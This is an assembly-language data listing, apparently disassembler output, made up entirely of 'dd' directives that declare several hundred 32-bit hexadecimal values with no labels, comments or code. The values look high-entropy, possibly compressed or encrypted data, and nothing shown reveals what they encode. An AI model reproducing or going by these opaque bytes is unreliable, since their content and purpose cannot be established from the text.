		dd 654ACBF4h, 0C632A4h,	78DA063Eh, 5518A0Fh, 7F53A6A9h
		dd 88580000h, 0BFDE89EDh, 2D3B45D9h, 415421ACh,	807E5266h
		dd 0B355F424h, 704EE990h, 567770FBh, 0A1782BEh,	5F13392Ch
		dd 0DE83C40Ah, 0A764544Bh, 0E943335Fh, 8E2F0E33h, 93563F07h
		dd 74EFB6Bh, 76F3EBE1h,	1CE28155h, 3006EB22h, 397DADAEh
		dd 510C2F60h, 8062444Ch, 45335070h, 0B1A6A863h,	0F23AFD40h
		dd 40EF4AE1h, 7252E966h, 5B5257F5h, 9C4617ADh, 0F06F390h
		dd 105F3585h, 0A1B3FA12h, 42E08425h, 22CE0C1h, 0A90B3052h
		dd 0A3096847h, 4B39276Bh, 0F01487A0h, 15BE9EAh,	25BF56FAh
		dd 5B0EAE32h, 2925D039h, 0F76236FEh, 6468014Dh,	9FDA3A16h
		dd 5AD9E90Ch, 0ED51B90Bh, 9B687AD5h, 19C425E9h,	341789CBh
		dd 15210B6Dh, 6AC54A15h, 811BD130h, 0FA856F29h,	254821EEh
		dd 34BF0032h, 7BBE2D45h, 36A544A3h, 0D2F2AF84h,	2A97E9A0h
		dd 5F1AC697h, 68BC0095h, 708248F3h, 16E72F4h, 8062DD51h
		dd 272F4CB1h, 0E85731FDh, 7A8EEA2Ch, 210A2904h,	0D9EF01F7h
		dd 34291505h, 0F6518EC3h, 90BD308Eh, 74CC1904h,	2CEADA01h
		dd 1A5EFE1Dh, 0A74CA9A2h, 0EE266913h, 49F3993Ch, 38187B63h
		dd 24CF27A7h, 0C0D7F609h, 8C04D7E7h, 37E94547h,	6FE919C4h
		dd 2E36CC4h, 220E0F68h,	0FC5D3417h, 0ECC278EDh,	230348D2h
		dd 0AB45E0EBh, 4410AE29h, 0DD7B87C3h, 4BD076CDh, 0B0BD443Bh
		dd 793BED2Bh, 21910D13h, 0FD4417FEh, 98158509h,	1A844FBDh
		dd 0DD75EF44h, 4B658AAEh, 8D120D8Bh, 0AA2BF22h,	63C22E60h
		dd 42B86965h, 5807F750h, 4BA379BAh, 0C1917F8h, 25BFD098h
		dd 0F3EAE3F8h, 9EB3D3Eh, 0FF335E12h, 25086F28h,	4F953F44h
		dd 13E98900h, 9ABFFF70h, 22454838h, 65A98352h, 12BD6A66h
		dd 0A52D257Dh, 35C1E012h, 0FDE32F87h, 1851E94Eh, 0F6874BB9h
		dd 3023105h, 8012E04Eh,	340D5858h, 0C46C847h, 0CAA860Fh
		dd 88415771h, 16F14564h, 0BE53B68h, 0D7FE8FB7h,	97A39427h
		dd 24EC1C77h, 2519EBA9h, 0AA2006F9h, 0A1C8634Dh, 0FDFC05BEh
		dd 9EEF835h, 0C0C6023Ch, 186C90D7h, 4FF99126h, 9F219D69h
		dd 6E66D328h, 0B92A4283h, 0BB3E58C3h, 9688421h,	9B59D9F2h
		dd 6E07A159h, 27E0E8F1h, 0E9B094B2h, 7FDCC516h,	0F5A29F21h
		dd 24520993h, 3941D5Bh,	4541E5AAh, 7AF1AB04h, 957A447Bh
		dd 0B65202E4h, 1F72D794h, 0C6805A0Eh, 0E8E667AFh, 0C7C5DEB4h
		dd 930240B1h, 0C05B0292h, 34AA0255h, 8409D3h, 606AB1A8h
		dd 0C54033D2h, 0A1680455h, 0A8271940h, 0A4AAA4CBh, 2D5BEC2Fh
		dd 17A9F4E4h, 90D597Fh,	16FD041Ch, 4FCAFA89h, 0EDB774A0h
		dd 2D0926FFh, 3A28DBA4h, 5D0D7C25h, 0F410C410h,	30FFC04Eh
		dd 1AB12D1Bh, 0FC487624h, 75373001h, 0D28B8111h, 5305E458h
		dd 7D21C2F8h, 93BCA071h, 0C7F82DDCh, 0DD44CDC6h, 5608E113h
		dd 0BE3D600h, 5E8955E7h, 9D122CD6h, 5CA2B24Eh, 7FFA1203h
		dd 56E9D001h, 4719064h,	0D2ED8101h, 0D832530Ah,	18F66AF5h
		dd 0AF09E02Ch, 110CC10Bh, 0BFE108CBh, 5C5B822Bh, 0D5C7C5D4h
		dd 840E0BE3h, 1F75F7AEh, 0D6E9015Fh, 9FD7706Bh,	43150381h
		dd 0FE4E317Eh, 822CD67Dh, 3291A838h, 0B840E6C1h, 5BFD0278h
		dd 5970A668h, 0B1510EEDh, 0C0B5C31Ch, 0EE8237B6h, 0D20407FFh
		dd 6F1DCE04h, 7FF91B94h, 0EAF526E0h, 5C5AEAC5h,	0E31C1D30h
		dd 9A572D1Ah, 804961B4h, 0BC6F5765h, 0E7F3E180h, 4B8432Bh
		dd 8C56D25h, 830962C6h,	0D62AD8EFh, 0FE4D007Fh,	0FDE9F789h
		dd 3753685Eh, 0F94C050Ah, 0EC83F7A5h, 71841E9Eh, 5535EBE9h
		dd 0C4FEB102h, 429895ABh, 0ADED70E9h, 9C96FF24h, 0CD1CE93Ch
		dd 36E700CEh, 0C14E2853h, 94F7A1EEh, 5A9A3DBAh,	5CC1FB70h
		dd 0C15DD045h, 0CAD4EA50h, 0E062E612h, 0ED0E64F8h, 0E9CBF96Ah
		dd 7DFD62D7h, 18EBF6B8h, 8B3BD397h, 24165EF1h, 82FBE927h
		dd 6E5A5422h, 41BC2587h, 32C33A5Eh, 0C4590166h,	0D1599D1Dh
		dd 4D7A30E6h, 75DC1413h, 396C70EFh, 0BB4F0BA0h,	2AE9A380h
		dd 571CC93Dh, 55F8A3E6h, 0F2454Bh, 82138740h, 38E5CFC0h
		dd 0BFE2D99Fh, 0F8E6BD97h, 83B8E11Bh, 0BAD2C969h, 0E93AB2B2h
		dd 4B3E38ACh, 22207650h, 52EE801Bh, 16FB9851h, 0AAC58875h
		dd 0E9127DDBh, 4B9FA83Eh, 5DB25E34h, 5BE84F10h,	0EBD16AE0h
		dd 285AC095h, 0AA35E9C4h, 0BDBFDCC4h, 2ECF86C4h, 0BDC3E019h
		dd 5697D279h, 83A3C3BDh, 0CE102B2h, 805AC60Bh, 375F2C0Fh
		dd 0A74653Fh, 9180F594h, 1F40BB53h, 8B06AC7Bh, 0DB20B85Bh
		dd 3DE681DEh, 6DD66603h, 506EEC1h, 0DB37F112h, 0FCBF0060h
		dd 8964BDFBh, 0C112ADB0h, 0DE0002E3h, 522E5D0Fh, 1080EDD1h
		dd 0ECF7A416h, 5B61DE89h, 0F21BE92Eh, 0E634D13Bh, 34EF2EDFh
		dd 0EF9EFA90h, 4051E909h, 0F70921FAh, 3255520h,	0CB38198Fh
		dd 0A0F20550h, 0FB1AEE3Bh, 68080050h, 0A22D141Ch, 98E12B5h
		dd 66E1AE01h, 0C76720CBh, 0ACEEC202h, 61FB0120h, 0A9814823h
		dd 8C820FDDh, 74F27B8Bh, 5A7F0C82h, 0BF080F76h,	0F75C0BF8h
		dd 6C588282h, 1792FAA3h, 6FC67301h, 2D3ABCC5h, 0E9DA907Bh
		dd 0F6B7C819h, 0D1BA93F1h
		dd 6BDFDEFAh, 5058D1A3h, 3B99247Bh, 1ED8B6Ch, 6F2390F7h
		dd 0DC021319h, 0B8BC0929h, 313B8758h, 157197CAh, 2F887856h
		dd 88414067h, 0A452CC39h, 0D49F60E2h, 0EFECAE8Dh, 0EFBD047Eh
		dd 0F430778h, 0FF86B692h, 19934A45h, 765CCF49h,	7E685054h
		dd 0FEF00B97h, 0CCDF7298h, 5FFA0886h, 0C6C1487h, 12AF2F68h
		dd 31249C4Dh, 1053668Ch, 2C4E0B35h, 0CB81CA9Eh,	0FF895158h
		dd 6359CF91h, 0D1FB8BA1h, 0FA926F93h, 0B529B138h, 0EAD1B480h
		dd 0F0BC23Bh, 0C6FA1784h, 0D7FA9D1Ch, 11C90225h, 828F2183h
		dd 27A55557h, 662990F5h, 630A1224h, 72DE801h, 83A85423h
		dd 5D0A9F0Bh, 96487D18h, 0B76A14Fh, 26012D04h, 84BA3E71h
		dd 82071338h, 5F0BFCA2h, 0CC85DC82h, 762F515Ch,	3C05D934h
		dd 7D88CB7Dh, 0BEC71124h, 0FF4EF29Ah, 0E83FCEC9h, 0CEFD4ECBh
		dd 0BB49F2C4h, 0DCF41532h, 0E75090Fh, 0FC503476h, 0F1ABC09Fh
		dd 84C05824h, 5A375C9Dh, 2A62EA42h, 0F5973270h,	4BDB4C82h
		dd 9E53C341h, 9A0D051h,	1C74685Ch, 9C2DF046h, 0C014D107h
		dd 536C8AB8h, 19317A2Ch, 3FADE941h, 0EAEB3196h,	0FD0CA75Ah
		dd 6CA0A878h, 8E137CB4h, 7B194776h, 0C16A4F04h,	32FDBA0Ch
		dd 550AB246h, 5167F3F6h, 97FE22ACh, 6816E096h, 0FD607062h
		dd 9DFFB949h, 3128B69Ch, 6995BCC8h, 0ECDCD357h,	8FD1B738h
		dd 247C6B47h, 1CF602B9h, 0CF313FEAh, 2DC2C41h, 5B21C02Ch
		dd 0C3883953h, 0D650DD3Bh, 0FC065BEDh, 9803B00h, 0F3E82834h
		dd 0E0C816F9h, 0DCED315Bh, 50C0F9ABh, 0C18063B1h, 5EE1E670h
		dd 0E414E136h, 0F1EBAAF1h, 0CF524024h, 3D7B0E7Bh, 8D8B0332h
		dd 0B2C41BBh, 984E5B03h, 0FA97B4B8h, 5187FB91h,	8E48AF66h
		dd 54F6098Bh, 0D4C95A9Dh, 0F7D0A0C6h, 1F6CEF80h, 494AB450h
		dd 6CD64268h, 540C296Fh, 79588B60h, 0D195FCC6h,	0C870997h
		dd 2474657Fh, 5A37A419h, 0A28BB456h, 0C543AB14h, 0F7660A79h
		dd 0B013099Fh, 166AFBDEh, 40522916h, 7058BBA0h,	994D2635h
		dd 30420987h, 61472851h, 59B8AFE2h, 865214CDh, 10FA8712h
		dd 275CC060h, 0BF8BAA4Ah, 7831FB5Ah, 2CB1E3BFh,	30C90B11h
		dd 4897DD97h, 803A5037h, 0A74872E9h, 0E20781A7h, 0C42ACDDDh
		dd 47C8416h, 0C443ABA6h, 0BAC8FBF2h, 73570014h,	7AF28117h
		dd 3776E66Dh, 6E71E27Eh, 3A8370EDh, 0BD2098B5h,	88B280CCh
		dd 78CBD0E0h, 49F4D42Ch, 0C6FFCC09h, 7B9B0F97h,	7AA46820h
		dd 91AB123Eh, 2EF29D28h, 55D548D8h, 0A3E01F7Eh,	0EC7FE17Ah
		dd 4CE9E0BAh, 5290A2FFh, 627498C1h, 2B3B1D60h, 0CBEA5175h
		dd 6C10938Bh, 0FB9D3ECAh, 41C4A413h, 504DF668h,	1677E91Bh
		dd 946A9B97h, 1432E704h, 5AB100ABh, 15F0D46h, 0E7949DF1h
		dd 0FFE1D124h, 3540A130h, 891909DAh, 0D9D4294Eh, 1ECB6A9Eh
		dd 0EADDC2Bh, 0FF4E93E9h, 7D98AB37h, 5F46B24Bh,	0FC992947h
		dd 93BDDE1Bh, 0C837B221h, 9759C825h, 195B51DCh,	6D421728h
		dd 3BB8E0C3h, 2CC1BB5Fh, 812D525Dh, 91AB5C89h, 5EF05B8Ch
		dd 0AF990374h, 302BD0C7h, 0B7E25019h, 0D732D09h, 0EB85040h
		dd 4DC90054h, 8D59C335h, 0EA4DE97Dh, 538826BCh,	5813FD2Eh
		dd 0BE0734BEh, 14E42660h, 0E93A0CD8h, 0C7DF6886h, 45D5413h
		dd 5301BBB8h, 0CB4264BBh, 5D32809h, 1EB8343h, 6BE8C800h
		dd 681788Ah, 0D37AF3F5h, 6C000C0Fh, 0F76EAE4Ch,	0A1EDC1D5h
		dd 1B3498D6h, 0B3044ABAh, 58E5C9B3h, 1BB73864h,	65FBB5Fh
		dd 0AC40EE56h, 0D15EF721h, 0C3CB95E7h, 0F34FA298h, 7BE9E417h
		dd 0A2BD27B0h, 0B538F06Dh, 87261EFAh, 575A752Ch, 9217C1E4h
		dd 0CCBDFEE1h, 119A483Ch, 7BF5529Ah, 85CB1278h,	0C4078481h
		dd 2791AB9Fh, 8C266FE7h, 55C4AF4Fh, 0C7F2F2EFh,	0B6080A14h
		dd 0D6315227h, 0EE871083h, 9008A146h, 0C57F094Dh, 827F25D1h
		dd 75372E98h, 0DA85C0B8h, 880000B9h, 0F243828h,	97C22D8Eh
		dd 8A703EDEh, 29545AECh, 0E9911154h, 35127A8Ah,	4AE782EAh
		dd 4A8CC6F7h, 6EEBF127h, 4848979Bh, 5A2F0349h, 0D8BF3066h
		dd 42D9C74Dh, 0EA81606Bh, 142653AFh, 0FE01B930h, 0E957F540h
		dd 0F22E28D5h, 907B8E2Ch, 117583Bh, 60E4F545h, 0DE402E2Fh
		dd 5C8D331h, 0FA8B6CBBh, 0AE4A45F7h, 519CA798h,	887F35DFh
		dd 4FB2024Ch, 0BE275976h, 0F515BA4Ah, 1BFCE307h, 56EBDA7Ch
		dd 2C6C229h, 0C1C851FFh, 22793FE9h, 5AD18291h, 80161351h
		dd 90ACBE48h, 2FF389F1h, 41D4FFB8h, 387D4C2Dh, 675087h
		dd 8105012Bh, 0E95DE369h, 9018165Fh, 9F1408CCh,	7B2FF766h
		dd 0E9215CE6h, 0EDA6CD5h, 2926534Dh, 228C72Dh, 16D75808h
		dd 4B1EBh, 0E7369BBAh, 0CA0F811Dh, 9D591426h, 12E6F281h
		dd 0F4300A20h, 52AA8378h, 0E42FB954h, 27DBE48h,	1135164h
		dd 8205E5Eh, 3C385B76h,	0CEBA4A15h, 0E3A84A17h,	0E1C0EC4Eh
		dd 3F720345h, 68BE898Ch, 64051E09h, 149D8549h, 9294CFE4h
		dd 7268121Ah, 0C9C5AC0Bh, 0D28E7DF8h, 24800249h, 518E963h
		dd 85745B97h, 0EE261968h, 0B1E9A060h, 626BBC6Bh, 18D76A58h
		dd 82EC9E9Ah, 0FAE2647Dh, 54ACF8FAh, 4BB19CBAh,	642DFE9Bh
		dd 8961FB2Bh, 0E740CF29h, 9954F79h, 0B56FE977h,	7DCA62B3h
		dd 0B02073DCh, 27ECE14Dh, 5E5A409h, 3C99321Ah, 3CFBC1E9h
		dd 2DEA943Fh, 0B9D5247Ah, 0F07BEACh, 0EFEAA180h, 5FA7BEB2h
		dd 50FB8801h, 89DDF759h, 18ED8104h, 0B919EAD2h,	22C7A0BAh
		dd 0A44228E4h, 0F34CC26Bh, 0B481875Fh, 7DC24AAEh, 0E56FA0D9h
		dd 34B371ECh, 25987E1Eh, 380BD55Bh, 32305C1h, 45825695h
		dd 0FC2CDAF7h, 0EB0400BDh, 59CE31F1h, 4162A768h, 72B0825Fh
		dd 1D3F2721h, 61098D66h, 5C285319h, 0D8D973A6h,	5112402Dh
		dd 7A5099B9h, 0F1068182h, 5630494Ch, 0B88C587Eh, 47415C1Fh
		dd 0FF477BC9h, 939BA8B3h, 2610141Fh, 69C42D7Bh,	5303E46Eh
		dd 0FE7CB050h, 9C2E17C8h, 8964E9C6h, 27805C14h,	0E9F085DCh
		dd 0EBFF4B88h, 0E85B41CFh, 5804B714h, 0D9893991h, 0E1CAE82Ah
		dd 133E53E9h, 9A1B04DCh, 0C120EA6Dh, 3E233768h,	0BDAF255Bh
		dd 58BD0AF8h, 0E6D1B75Dh, 6FC05564h, 5E1FB1h, 3EE1055Ah
		dd 850F5493h, 794624Dh,	0A9378E35h, 0B3100F29h,	4D9334Bh
		dd 0B507113Fh, 59EF0362h, 3B20B28Fh, 96AEBBF1h,	15D70C2h
		dd 97CEC380h, 5CB05A06h, 8F584513h, 0E778B42Ah,	0E3F722F4h
		dd 0AF6866D0h, 0B97CE97Dh, 0E2B20280h, 5909CA30h, 0B2EF280h
		dd 0BC097570h, 93171A47h, 5D5F1881h, 0AC014B2Eh, 1EBAA6C0h
		dd 4E48641Eh, 10EFD689h, 9D1BBCFDh, 4D5F0BC6h, 0CEAA4A16h
		dd 78E91262h, 1CBA8C84h, 279003h, 901B1EBEh, 703C6819h
		dd 39D79D2Ah, 9A20296Fh, 8BE60581h, 0E022F620h,	843B0F2Ch
		dd 0D124E71Bh, 4367E991h, 0C6FA0EB3h, 0FDE64E3Ah, 0FE5058EAh
		dd 292DF6ADh, 1232D628h, 2B29F14Bh, 0F1C30BAh, 2C5B1F8Ah
		dd 8BE128BEh, 0D001F572h, 3D09CF05h, 0B02B0143h, 4B0FBE9Bh
		dd 0D6E920C1h, 0A1BA0984h, 0ED4AC9A2h, 0F1C24F5h, 0D0218116h
		dd 0FA17CEE9h, 59292897h, 0E610DD97h, 6591EE88h, 0FE4F77BCh
		dd 16FBD725h, 0FE31EEB7h, 22367D06h, 0EB3CAD00h, 7701C767h
		dd 4CF0444Fh, 37455BA4h, 60A10B75h, 3B10C068h, 0BAD3E4F3h
		dd 6C18DBA6h, 3BC1BF7Dh, 0B206917h, 0A55AB3BCh,	0CAFEC27h
		dd 50ACE5Ch, 333F5064h,	1F7B1EEh, 2A585B08h, 0D731079Fh
		dd 205BB4F7h, 0CCF01E81h
		dd 284E0AC2h, 4A8648E5h, 0BA01830Ch, 0C50806B0h, 56C28E9h
		dd 0A5F4274Fh, 3A59E1A0h, 0CFCB91FCh, 5A4C7870h, 5E5B17AEh
		dd 41B191B8h, 890F002Eh, 3DC8B606h, 0E590E794h,	0C88853A0h
		dd 0C708A4B9h, 6ED0259Ah, 0B5627CF0h, 0E05EF011h, 24114987h
		dd 2711758Eh, 0A50DEB5Ch, 8331251Ch, 0BBE8F8F1h, 57519FF0h
		dd 0B9205624h, 2D15FB16h, 6040BD22h, 5BAFA5h, 0BB5322F5h
		dd 7A6C7B45h, 0D6EE8127h, 0B81AC46h, 0B278ADE9h, 0A1AD6AEFh
		dd 478F5382h, 9F676B40h, 0F218DD97h, 0D35E3015h, 827D34EAh
		dd 0B07F48AFh, 27685BA6h, 0C31B7350h, 0BD0F12BAh, 37BF1D92h
		dd 9CD9078h, 5D9F0528h,	8385C421h, 3A493B64h, 8209F950h
		dd 41C5C657h, 5E946E5Dh, 0E13ABC2Ch, 0F5C20BFEh, 826925D1h
		dd 75B28C6Ch, 0A4437445h, 0BF275F0Ah, 0D58A5C47h, 36F3E925h
		dd 0F04F291Bh, 0B8000C9Ah, 21A0B56h, 40E0D169h,	1E1D0F7h
		dd 880401DBh, 38129972h, 80C8BE43h, 0F02B566h, 624AEC08h
		dd 56195E57h, 0C0608598h, 0FC96F2ADh, 89842FF9h, 5DEE0D52h
		dd 5606625h, 802EFDCh, 41DFF758h, 9D522DBCh, 4FA258D6h
		dd 0C863DC5Ah, 95052640h, 36BC50FAh, 0A5D5051h,	18FD8B7Ah
		dd 564C1E3Eh, 5BDFEE54h, 3ED0D92Ch, 191EE7C1h, 0BD3BE30h
		dd 77856852h, 2860A774h, 0BF2CBD71h, 7D08B9E0h,	0D4D95081h
		dd 0BA7E127Fh, 0E5850EF6h, 0C58BAA32h, 0F5C2257Dh, 14C167Ah
		dd 7F54E08Dh, 0C1300BCDh, 500207E2h, 42042343h,	55F317C1h
		dd 0CB0DEC3Bh, 88F7FE5Ch, 0FC271023h, 4684755h,	0A89AAA6Bh
		dd 248C522Bh, 581B040Ch, 73F1EE14h, 9BD50807h, 0CB886B0h
		dd 675CFE90h, 790E2E20h, 0DA012627h, 0A5080E40h, 0D7F8FBB4h
		dd 42399702h, 0A6820959h, 29029251h, 6B2DFF2h, 896BC555h
		dd 98758C21h, 0B688F935h, 0A4F76F9Eh, 340ECF39h, 0C0687939h
		dd 5A086AE7h, 8ECDA02Ch, 78481870h, 71A1264Fh, 0E07C4528h
		dd 7D33E505h, 9DB829C4h, 0D000384Dh, 0E9386845h, 0D6BF7B15h
		dd 0EF25BF9h, 0EF94EBF8h, 0BBF86665h, 0BDA8284h, 0DF16A95Bh
		dd 0E9768994h, 5C13C29Eh, 9241E2BAh, 0C0C3F2FAh, 1B5FC2BBh
		dd 9BD89F3Eh, 6C685009h, 625FF615h, 3103796Ah, 4AC593E8h
		dd 1783EF08h, 995DEDD8h, 0E5526B83h, 15F1B044h,	2B3F3DFAh
		dd 0C55706E9h, 0D0963E4Ch, 597DA419h, 51A46801h, 8108E5C1h
		dd 2D01D1CCh, 86C0401Fh, 1C28CD72h, 42BFA34Dh, 5351F79Eh
		dd 5A68F4C9h, 719A668h,	26D2DBBDh, 5552E32Eh, 941D01F0h
		dd 8FFB2A4Bh, 47E9165Bh, 806120EAh, 0E2EF5A29h,	4CD75177h
		dd 24BE295Bh, 7A7F6885h, 8EA4CDA9h, 0E9563D99h,	5C40D78Ch
		dd 984AE95Ah, 0B2BBD012h, 0D65A89BEh, 9B635219h, 0D3D17E3Fh
		dd 4C34CFFh, 78EA73CDh,	5E96B9EBh, 0FF493FE6h, 454E323Fh
		dd 0B3E11E23h, 0D828C623h, 66184022h, 0E795B7Dh, 19C2905Eh
		dd 1D77DB5Dh, 0BC5BE209h, 0B2EE4E12h, 75CA133Bh, 392E16F4h
		dd 0D616DEF6h, 0C77C1CC0h, 608002E6h, 5AF32813h, 0DD09C3ECh
		dd 904AF4E9h, 4BD998B0h, 8375D0FEh, 0E59DD7B0h,	0A29E8850h
		dd 4EDA4243h, 0E439B834h, 4E2BCBFBh, 0AC40EBA7h, 0E66600A6h
		dd 0E3814313h, 0A72C6F71h, 0CE011716h, 29DC5933h, 0CFD1F23Fh
		dd 94017201h, 364D3253h, 58488B2Bh, 5FEA0CB1h, 0BDC0D425h
		dd 0CDED61F2h, 50BA7301h, 0D53C030Dh, 0A02FC586h, 34965B97h
		dd 0E6E95F27h, 3258D387h, 1A323C6Bh, 0F522D654h, 0B8EC3F9h
		dd 9CEB1233h, 0D7975B6Bh, 0EEE9DB81h, 0B3248011h, 28C5B6C4h
		dd 0F95B98DEh, 9EFDD4FBh, 7F5ACF01h, 794F5C60h,	7CF70704h
		dd 93EAF1C5h, 0BA1B2902h, 31F4C17Dh, 0CDF27781h, 0BD27CF05h
		dd 206ABD0Ch, 6BA40F24h, 0AB522906h, 19C7EC2h, 2E445768h
		dd 0FAADF8Ch, 555EC06Fh, 0CE9FD22h, 6BB58250h, 9872E8CDh
		dd 0EB22D205h, 7582CB6h, 82D35627h, 552D4B8Bh, 706880B8h
		dd 25217963h, 8341361h,	0F60B61C5h, 7564FDD5h, 7BDED587h
		dd 9594309h, 3AED5633h,	948E1158h, 70CEA959h, 3512A0F3h
		dd 25FE4873h, 8A3C8608h, 5ADA549Fh, 5162F455h, 610AE4B9h
		dd 0C4EE1E50h, 25EAE695h, 546165Dh, 1241552Fh, 0BDA24659h
		dd 0A79E80F0h, 0D6BB5E00h, 0A00EC39Bh, 2F3011A6h, 0CB746282h
		dd 0E908D03Dh, 0F538A12Dh, 2AB3C422h, 3FA2186Ah, 0F209D515h
		dd 0C5C70FF1h, 46F88022h, 302768ADh, 0A0A27401h, 0E95F0908h
		dd 3E611EFh, 0D40A6D25h, 0E609C31Ch, 57A85C4Ah,	3BD3E9E1h
		dd 8AD4116h, 4CDDCB97h,	0D34B6277h, 0DA96B165h,	0AA3E6D65h
		dd 18822839h, 4BA40C0Fh, 8290F8D7h, 1C5F8208h, 25605DCh
		dd 6E4923C4h, 0B473C858h, 0C8548B32h, 0A03A7F27h, 734709DDh
		dd 10732C82h, 0E6B150ADh, 4389CA12h, 91270ECh, 8598AEC6h
		dd 70475E15h, 0DF468D1h, 0F33E69Fh, 453E06B8h, 0C1FBBAE3h
		dd 7AE90617h, 91FB58C4h, 0E22976Fh, 1A2DF748h, 93B7ABC4h
		dd 0E2C9B030h, 40A1A253h, 3756F53Eh, 80296A0Dh,	22FBB7CDh
		dd 14D6D0B7h, 8C5DEE87h, 0B22DD303h, 385E970h, 41A0C225h
		dd 687D2BD2h, 231EAAEh,	0E93EFD5Bh, 0F012F8Dh, 0F6FFA8Fh
		dd 73824FFEh, 6FEFEDBh,	5E70B1C1h, 0B22DBF3Ah, 0DBE7B03Ah
		dd 6734100Bh, 0D62E50h,	5A5E9208h, 38BE0356h, 4E3C4804h
		dd 445CCEF8h, 0FDE9F1FBh, 16A563DFh, 9E125758h,	0DF5237A8h
		dd 23CFB79h, 6602BB0Eh,	0BDF10B2Bh, 6A7D026Eh, 2873763Eh
		dd 0CC6A9D5Eh, 22DD8509h, 4AEDE906h, 97D6D007h,	5B51B15Ah
		dd 8CE87FA3h, 42C0E912h, 403568FFh, 0D0B2FD98h,	0E9CAFE05h
		dd 0ECC8D875h, 23C6BD51h, 0B5B0AFCh, 0B5E467EFh, 5F7BAC23h
		dd 85A43EBCh, 585CE083h, 72137E9Fh, 810344D5h, 0FC2BE69Ch
		dd 0B73EB6FBh, 0C01716Bh, 48333917h, 7830FB01h,	145E2C78h
		dd 6FF10137h, 304A2767h, 5E95CC13h, 0D821C1D9h,	0E991605Bh
		dd 6E026FF9h, 5020810Fh, 544FB068h, 90D68D2Eh, 0C5DD5EFAh
		dd 0BF3C8270h, 7D2DFDFCh, 1D593707h, 7DFC7B74h,	93E8C4Ah
		dd 0B8E9CE09h, 0BF55A1B7h, 5FD23FD3h, 0F8F7D481h, 0C077EE40h
		dd 831E0755h, 693FE6E0h, 615FA324h, 978BEE0Ch, 0FC5E5E62h
		dd 854A112h, 6478B572h,	0D85CAAD2h, 84FA5150h, 6FD82B5Fh
		dd 6D03868h, 28CAAF4Ah,	0E599EF92h, 27B1B86Ah, 0DE2BE93Dh
		dd 0F3D34B6Fh, 8F5751C2h, 80EAB283h, 9956C488h,	1FFA484Ch
		dd 0DA92DB68h, 695090BCh, 0DC3112BAh, 0FB84EE1Ch, 2777F8EBh
		dd 0B4E75559h, 4F102E26h, 6F2CBA02h, 56770B45h,	0FC0834C4h
		dd 0D49778D5h, 1D212DFh, 3B2C2713h, 51F12F02h, 412606BBh
		dd 32CF017Bh, 0FA09616Dh, 0E92DE6CCh, 5A885A7h,	6B8AA1EFh
		dd 166A9EC1h, 4FACAB14h, 0CFE41CC7h, 791AC4B1h,	0A4104EEEh
		dd 493BDB03h, 2A4C9CE1h, 52E62834h, 0BC45492Ch,	5B664F89h
		dd 0BD4A547Ah, 42AA6517h, 417868C0h, 0FD20C46Ch, 3F5390AAh
		dd 0AAD6245h, 974089DEh, 671C5742h, 82640E4Fh, 38FEC8C4h
		dd 92176812h, 1EC534F8h, 789EF207h, 0CF56B409h,	7A87FF6Ch
		dd 94FF831Ch, 42A3FFFDh, 4B0FF84Bh, 64E432BFh, 7D078975h
		dd 0C9C0DE3Ah, 48937ABEh, 0A7AA5D44h, 0C049C4DDh, 0E1247814h
		dd 0F2A4BFDAh, 35093D30h, 0A478239Eh, 2E960220h, 420F5457h
		dd 0C103D6E4h, 9BAA2FEDh, 0D95DC6C2h, 10DB48F3h, 0D4277515h
		dd 0A169445Ah, 0CFD86D60h, 0E53D1472h, 7C07B05Fh, 0F87BE2D8h
		dd 1FB82916h, 0A66FE07h
		dd 85006F64h, 0E931D114h, 18916CE5h, 0A2E8CD01h, 174D2421h
		dd 0B7F271Ch, 0BC2B0223h, 8C04233h, 59160814h, 472E71ABh
		dd 3B680171h, 0B8001226h, 16F65ECh, 0E39032Dh, 4BE913EBh
		dd 0D0F6F145h, 0C0E8A50Bh, 0B09E04D7h, 0EFD3600Eh, 1A2342C2h
		dd 7EF5F1B0h, 504469D9h, 0A74B63B1h, 67F1AB1Fh,	0D7A73D5Bh
		dd 0CC3C3267h, 42EC8B6Eh, 45E57F5Fh, 44F4353Fh,	9390F3BFh
		dd 32118000h, 4BE94E74h, 0BF39C41Bh, 5048F2B9h,	0B531BC4Bh
		dd 5F4F8509h, 3E4A86C6h, 4A5CFFC2h, 0E6D9DF69h,	0D9D549h
		dd 0FECF9D05h, 13F18BBEh, 2CEF0205h, 8C418E16h,	13FD9A20h
		dd 0BC224262h, 88BA4BD1h, 709C72Ah, 5531AA64h, 1D77AEE0h
		dd 0AEA27F82h, 514806ABh, 0BC43867h, 0B2AE656Fh, 0B2D1D3DBh
		dd 0FED5FBE9h, 444F32Eh, 146B66D2h, 0E9708CEFh,	0D439792Fh
		dd 0C34E54E4h, 5C29D0F4h, 414B15CBh, 3228C6D3h,	0DB322070h
		dd 0F30B219Fh, 986C6ABFh, 1C2EA94Eh, 0E7ECD106h, 0CBFEB23Bh
		dd 0F5ECEA22h, 0F7496D73h, 68C6EC09h, 9D0A6E9Fh, 0E931B8FFh
		dd 0D0F15B61h, 2A0E8099h, 75987E60h, 1734DE30h,	217C9AE9h
		dd 11C61F1Ah, 8A7EAEF4h, 0C5B74EE1h, 10D5CB5Eh,	0B9028A25h
		dd 4EDB3E60h, 0B2097FDEh, 6F7854AEh, 5C9FEA3Eh,	5D069758h
		dd 47315668h, 517CBE2Fh, 402E8504h, 0EF34C71Ch,	15ED48A2h
		dd 0ABA054E3h, 589F72BEh, 0B7A1313h, 4064F95Bh,	8726E908h
		dd 0F98C1A28h, 48A26367h, 0ABD41FD7h, 12077704h, 0D9E0BB19h
		dd 2B0181CAh, 9685B5B3h, 129653DDh, 0A3D9AB8Bh,	3C868083h
		dd 0F6B06280h, 710BB7EBh, 503BE9B8h, 245BBD9Bh,	0A02EE9E1h
		dd 0C992ED2Fh, 6CDC04D3h, 21312C12h, 8CAEC14Eh,	7B27E96Fh
		dd 277CFA52h, 6476A02Bh, 2F1E95Bh, 0E1B87992h, 0E1903FB9h
		dd 95708F0Eh, 9DC42077h, 0DD42C74Bh, 0D0A1050Ch, 0A748AEF9h
		dd 0A9308C6h, 88A84616h, 169C6A09h, 0D97FAE85h,	8EBC6BDCh
		dd 91A4FB9Fh, 0A1838445h, 0E24A0E01h, 0DD954980h, 2941C6F9h
		dd 6E2058C7h, 4F671489h, 4B4F6C3Fh, 8CDD872Dh, 0FB4308E0h
		dd 5A5095DCh, 4469F5A6h, 84B7EE61h, 6D62AED2h, 259CDE4Eh
		dd 846C7974h, 0BECF893h, 0EBC14B46h, 0AA5CBB04h, 0A2BEF801h
		dd 0BE20815Bh, 1A583CF6h, 0B55A0827h, 0DF846D4Bh, 0D3EE4277h
